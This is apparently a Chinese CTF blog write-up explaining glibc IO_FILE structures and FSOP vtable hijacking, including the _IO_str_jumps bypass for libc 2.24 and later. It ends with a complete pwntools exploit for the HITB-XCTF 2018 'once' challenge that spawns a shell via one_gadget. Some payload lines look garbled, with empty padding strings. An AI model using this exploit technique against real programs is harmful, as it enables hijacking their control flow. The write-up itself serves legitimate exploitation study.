前言
前一段时间学了IO-file的知识,发现在CTF中IO_file也是一个常考的知识点,这里我就来总结一下IO_file的知识点,顺便可以做一波笔记。首先讲一下IO_file的结构体,然后其利用的方法,最后通过一道HITB-XCTF 2018 GSEC once的题目来加深对IO_file的理解。
libc2.23 版本的IO_file利用
这是一种控制流劫持技术,攻击者可以利用程序中的漏洞覆盖file指针指向能够控制的区域,从而改写结构体中重要的数据,或者覆盖vtable来控制程序执行流。
IO_file结构体
在ctf中调用setvbuf(),stdin、stdout、stderr结构体一般位于libc数据段,其他大多数的FILE 结构体保存在堆上,其定义如下代码:
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
FILE结构体会通过struct _IO_FILE *_chain链接成一个链表,64位程序下其偏移为0x60,链表头部用_IO_list_all指针表示。如下图所示
IO_file结构体外面还被一个IO_FILE_plus结构体包裹着,其定义如下
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
其中包含了一个重要的虚表*vtable,它是IO_jump_t 类型的指针,偏移是0xd8,保存了一些重要的函数指针,我们一般就是改这里的指针来控制程序执行流。其定义如下
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
利用方法(FSOP)
这是利用程序中的漏洞(如unsorted bin attack)来覆盖_IO_list_all(全局变量)来使链表指向一个我们能够控制的区域,从而改写虚表*vtable。通过调用 _IO_flush_all_lockp()函数来触发,,该函数会在下面三种情况下被调用:
1:当 libc 执行 abort 流程时。
2:当执行 exit 函数时。当执行流从 main 函数返回时
3:当执行流从 main 函数返回时
当 glibc 检测到内存错误时,会依次调用这样的函数路径:malloc_printerr ->
libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW
要让正常控制执行流,还需要伪造一些数据,我们看下代码
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
这时我们伪造 fp->_mode = 0, fp->_IO_write_ptr > fp->_IO_write_base就可以通过验证
新版本下的利用
新版本(libc2.24以上)的防御机制会检查vtable的合法性,不能再像之前那样改vatable为堆地址,但是_IO_str_jumps是一个符合条件的 vtable,改 vtable为 _IO_str_jumps即可绕过检查。其定义如下
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
其中 IO_str_overflow 函数会调用 FILE+0xe0处的地址。这时只要我们将虚表覆盖为 IO_str_jumps将偏移0xe0处设置为one_gadget即可。
还有一种就是利用io_finish函数,同上面的类似, io_finish会以 IO_buf_base处的值为参数跳转至 FILE+0xe8处的地址。执行 fclose( fp)时会调用此函数,但是大多数情况下可能不会有 fclose(fp),这时我们还是可以利用异常来调用 io_finish,异常时调用 IO_OVERFLOW
是根据IO_str_overflow在虚表中的偏移找到的, 我们可以设置vtable为IO_str_jumps-0x8异常时会调用io_finish函数。
具体题目(HITB-XCTF 2018 GSEC once)
1、先简单运行一下程序,查看保护
主要开启了CANARY和NX保护,不能改写GOT表
2、ida打开,反编译
这里当输入一个不合法的选项时,就会输出puts的地址,用于泄露libc的基地址。
第一个函数是创建一个chunk保存数据
第二个函数和第三个函数只能执行一次,有个任意地址写漏洞,这时我们可以利用第二个函数改写off_202038+3d为_IO_list_all-0x10,然后分别执行第三和第一个函数,最后_IO_list_all就会指向0x555555757040的位置
第四个函数主要是对堆块的操作,我们可以利用利用这个函数伪造一个_IO_FILE结构
3、具体过程
1、泄露libc,输入一个“6”即可得到puts函数的地址,然后酸算出libc基地址
p.recvuntil('>')
p.sendline('6')
p.recvuntil('Invalid choicen')
ioputadd=int(p.recvuntil('>',drop=True),16)
print hex(ioputadd)
libcbase=ioputadd-libc.symbols['_IO_puts']
print hex(libcbase)
one=libcbase+0x4526a
2、利用任意地址写改写_IO_list_all为堆的地址
p.sendline('1')
p.recvuntil('>')
p.sendline('2')
ioall=libcbase+libc.symbols['_IO_list_all']-0x10
print hex(ioall)
payload=p64(ioall)*4
p.sendline(payload)
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
p.sendline('1')
3、这时只要我们再利用第四个函数伪造__IO_FILE结构体,改写vtable为_IO_str_jumps,file+0xe0设置
为one_gadget
p.sendline('4')
p.sendline('1')
p.recvuntil('input size:n')
p.sendline('256')
jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps
p.recvuntil('>')
p.sendline('2')
payload=''*0xa8+p64(jump)+p64(one)
payload+=''*(0x100-len(payload))
p.sendline(payload)
p.recvuntil('>')
p.sendline('4')
4、输入“5”,执行exit()函数触发one_gadget
p.recvuntil('>')
p.sendline('5')
p.interactive()
小结
这个是我个人总结出来的IO_file结构的一些知识点,写得还不够全,如有写得不对的地方,欢迎大牛指正。
完整EXP
from pwn import*
#context.log_level=True
p=process('./once')
elf=ELF('once')
libc=ELF('libc6_2.23-0ubuntu10_amd64.so')
p.recvuntil('>')
p.sendline('6')
p.recvuntil('Invalid choicen')
ioputadd=int(p.recvuntil('>',drop=True),16)
print hex(ioputadd)
libcbase=ioputadd-libc.symbols['_IO_puts']
print hex(libcbase)
one=libcbase+0x4526a
p.sendline('1')
p.recvuntil('>')
p.sendline('2')
ioall=libcbase+libc.symbols['_IO_list_all']-0x10
print hex(ioall)
payload=p64(ioall)*4
p.sendline(payload)
p.recvuntil('>')
p.sendline('3')
p.recvuntil('>')
#
p.sendline('1')
p.recvuntil('>')
p.sendline('4')
p.sendline('1')
p.recvuntil('input size:n')
p.sendline('256')
jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps
p.recvuntil('>')
p.sendline('2')
payload=''*0xa8+p64(jump)+p64(one)
payload+=''*(0x100-len(payload))
p.sendline(payload)
#gdb.attach(p)
p.recvuntil('>')
p.sendline('4')
raw_input()
p.recvuntil('>')
p.sendline('5')
p.interactive()












